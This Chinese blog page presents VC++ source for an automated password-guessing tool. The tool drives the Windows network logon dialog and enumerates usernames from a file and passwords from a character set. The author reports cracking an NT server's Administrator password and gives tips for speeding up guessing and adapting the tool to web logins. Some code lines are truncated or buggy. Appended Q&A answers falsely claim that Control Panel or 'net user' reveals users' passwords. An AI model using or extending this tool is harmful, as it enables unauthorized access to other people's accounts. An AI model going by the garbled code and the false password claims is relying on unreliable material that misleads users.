Windows网络用户登录密码的猜解

Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。
一、猜解过程流程:
为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。
下面给出关键流程的源代码(程序流程见图1-1):

1. 全局变量:
struct _Thread
{
CWinThread *pThread;
};
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数
CEvent gEventNextPass;//取下一个密码,为实现同步引进
CEvent gEventPassOk;//已取得密码,为实现同步引进
CEvent gEventNextUser;//取下一个用户名,为实现同步引进
CEvent gEventUserOk;// 已取得用户名,为实现同步引进
CMutex gMutex;//互斥量,只允许单线程访问
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。
char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名
2. 线程启动:
{
file://密码枚举线程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多
}
file://用户名枚举线程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚举线程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}
3.窗口及子窗口枚举
UINT ThreadProc(LPVOID *pPraram)
{
while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{
char lpWinTitle[MAX_LINELENGTH];
::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);
if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名
{ gMutex.Lock(INFINITE);//防止两个线程同时操作
while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));
gMutex.Unlock();
return FALSE;
}
return TRUE;
}
BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)
{
char sChildName[MAX_LINELENGTH];
::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);
file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的
file://各个子窗口
// 的属性。通过对比各控件的风格或名字来区别各控件。
if(strcmp(sChildName,"Edit")==0)
{
DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);
if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件
{
gEventNextPass.SetEvent();//发送“新密码”事件
WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件
gEventPassOk.ResetEvent(); file://复位
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
file://把新密码填到密码输入框,也可用SetWindowText()
bPass=TRUE;//记录密码已填入
if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“确定”按钮送消息,参照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登录,初始化
return FALSE;
}
return TRUE;
}
file://非此即彼,这是用户名输入编辑控件
if((dWinSty&ES_READONLY)!=ES_READONLY)
{
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
file://把新用户名填到用户名输入框,也可用SetWindowText()
bUser=TRUE;// 新用户名已填入用户名输入框
if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“确定”按钮送消息,参照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登录,初始化
return FALSE;
}
}
return TRUE;
}
file://如果是按钮控件
if(strcmp(sChildName,"Button")==0)
{
char sChildTitle[MAX_LINELENGTH];
::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);
if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;
// sButtonOk:登录窗口中“OK”按钮的标题
hOk=hwnd;//记录“OK”窗口句柄
if(bUser&&bPass)
{
::SendMessage(::GetParent(hOk),WM_COMMAND,
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
file://向“确定”按钮送消息,参照ClassWizard的消息映射
bUser=FALSE;bPass=FALSE;hOk=NULL;
file://完成一次登录,初始化
return FALSE;
}
return TRUE;
}
return TRUE;
}
4.用户名枚举:
UINT GetNextUserF(FILE *file)
{
char cUser[MAX_LINELENGTH ],*token;
FILE *fUser;
int i,flag=0;
if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用户名的路径及文件名
{
MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0);
if(fUser!=NULL)fclose(fUser);
return 0;
}
while(!feof(fUser))
{
for(i=0;i
if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))
{
bCheckUser=FALSE;//记录用户名枚举完
fclose(fUser);
return 0;
}
token=strtok(cUser,SETPRATE);// #define SETPRATE " /t/n/r"
do
{
WaitForSingleObject(gEventNextUser,INFINITE);
// 等待“新用户名”事件
gEventNextUser.ResetEvent();//复位。
for(i=0;i
strcpy(cCurrentUser,token);//改变当前用户名。
gEventUserOk.SetEvent();//发送“用户名完成”事件
}while((token=strtok(NULL,SETPRATE))!=NULL);
}
return 1;
}
5.密码枚举:
UINT GetNextPassL(LPVOID pParam)
{
int i,j,iPre;
char cBuf[MAX_PASSWORD_LENGTH];
BEGIN:
for(int m=0;m
{
file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:当前密码组成字符集合列表
file://例如:cCurrentCharList =“abcd”:表示枚举的密码由abcd组成
file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向当前密码
file://组成字符集合列表的列表
file://例如:4444:表示生成密码为“dddd”,
file://4231:表示生成密码为“dbca”......
cCurrentPCList[m]= iCharCount;
// iCharCount:密码组成字符的字符个数
}
while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 结束
{
for(int n=0;n
while(1)
{
for(i=0;i
{
cBuf[i]=cCurrentCharList[cCurrentPCList[i]];
}
WaitForSingleObject(gEventNextPass,INFINITE);
// 等待“新密码”事件
gEventNextPass.ResetEvent();//复位。
for(int n=0;n < td>
strcpy( cCurrentPass,cBuf);//改变当前密码。
gEventPassOk.SetEvent();//送密码完成事件
file://进行cCurrentPCList数组的处理。
if(( cCurrentPCList[i-1]--)==0)break;
}
file://最后一位复iCharCount;;
cCurrentPCList[i-1]= iCharCount;
iPre=1;//借位标志
for(j=i-2;j>=0;j--)
{
if(( cCurrentPCList[j]-=iPre)<0)
{
if(j==0)break;//结束。
cCurrentPCList[j]= iCharCount;iPre=1;//复位J,向上借位。
}
else {iPre=0;continue;}//不必再向上借位。
}
}
if(cCurrentPCList[0]<=0)
{
file://复位,进入下一个循环。
if(!bCheckUser)//如果用户名枚举完
{
MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0);
return 0;
}
gEventNextUser.SetEvent();//发送“新用户名”事件
WaitForSingleObject(gEventUserOk,INFINITE);
file://等待“用户名完成”事件
gEventUserOk.ResetEvent();//复位。
goto BEGIN;
}
return 0;
}
二、在局域网及互连网的应用:
笔者利用按照以上算法编写的软件,在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT 服务器的Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及“确定”按钮。
三、存在的问题及解决办法:
在10M/100M局域网里,登录WindowsNT服务器失败后,大约0.7秒钟左右后,才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过“资源管理器”同时打开多个网络登录对话框(从“网络邻居”只能打开一个网络登录对话框),这样可成倍提高猜解的速度,但仍是太慢。此外,可利用几台计算机同时猜解。至于猜解互连网上密码,其速度可想而知了。不过也没关系,许多的密码是数字组成的,更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的,可以在枚举时先枚举使用频率高的。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 要在Windows系统中查看用户密码,可以按照以下步骤操作: 1. 首先,以管理员身份登录到Windows系统。 2. 打开控制面板,可以通过开始菜单中的搜索栏,输入“控制面板”并回车来打开。 3. 在控制面板中,找到并点击“用户帐户”选项。 4. 在用户帐户窗口中,可以看到系统中的所有用户账户。 5. 选择要查看密码用户账户,可以点击该用户账户下方的“更改帐户类型”链接。 6. 在弹出的用户帐户属性窗口中,点击“管理其他帐户访问”链接。 7. 在用户管理窗口中,可以看到选定用户账户的详细信息,包括用户名和用户类型。 8. 点击选定用户账户旁边的“重置密码”选项。 9. 在弹出的密码重置窗口中,可以选择重置密码的方式,例如通过使用密码重置磁盘或者输入管理员凭据。 10. 根据选择的方式进行密码重置,并设置新密码。 需要注意的是,查看其他用户密码需要管理员权限,如果您不是系统管理员或者没有管理员权限,是无法直接查看其他用户密码的。此外,为了保护用户隐私和系统安全,尽可能避免随意查看他人的密码。 ### 回答2: 在Windows操作系统中,如果您是系统管理员或拥有管理员权限的用户,您可以通过以下步骤查看其他用户密码: 1. 首先,打开计算机或服务器上的“控制面板”。 2. 在控制面板窗口中,选择“用户账户”选项。 3. 在用户账户窗口中,选择“管理其他账户”链接。 4. 现在,您将看到所有已创建的用户账户列表。选择您想要查看密码用户账户,并单击该账户。 5. 在右侧窗格中,系统将显示选定用户账户的相关设置和选项。在这里,您可以找到一个名为“更改账户密码”的链接。单击该链接。 6. 在打开的更改密码窗口中,系统会要求您提供管理员凭据以进行确认。输入正确的凭据并单击“确定”按钮。 7. 此时,您将获得更改密码的选项。请留空“当前密码”字段,并在“新密码”和“确认新密码”字段中输入您选择的密码。确保密码符合系统要求和策略。 8. 输入完毕后,单击“确定”按钮以更改用户密码。 请注意,为了保护用户的隐私和系统的安全性,只有具备管理员权限或系统所有者才能查看或更改其他用户密码。此外,查看或更改其他用户密码应当在合法和授权的情况下进行,绝对不应被滥用。 ### 回答3: 在Windows系统中,管理员可以通过以下几种方式来查看用户密码: 1. 控制面板:进入控制面板,点击"用户账户",选择要查看密码用户,然后点击"更改账户设置",在页面右侧将显示用户密码的选项。 2. 本地用户和组:在Windows系统中,管理员可以通过本地用户和组的管理工具来查看用户密码。首先,按下Win+R键组合来打开运行对话框,输入"lusrmgr.msc"并点击"确定"。然后,在本地用户和组窗口中,选择"用户"文件夹,找到要查看的用户,右键点击并选择"设置密码",之后将显示密码设置页面。 3. 命令提示符(CMD):管理员可以通过CMD命令行工具来查看用户密码。首先,按下Win+R键组合来打开运行对话框,输入"cmd"并点击"确定"来打开CMD窗口。然后,输入以下命令:`net user 用户名`,其中"用户名"是要查看密码用户账户名称,比如"net user john",然后回车,将会显示该用户账户的密码信息。 需要注意的是,在上述过程中,管理员需要拥有足够的权限来查看其他用户密码。此外,查看他人密码涉及到隐私问题,因此建议仅在合法授权和必要情况下进行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值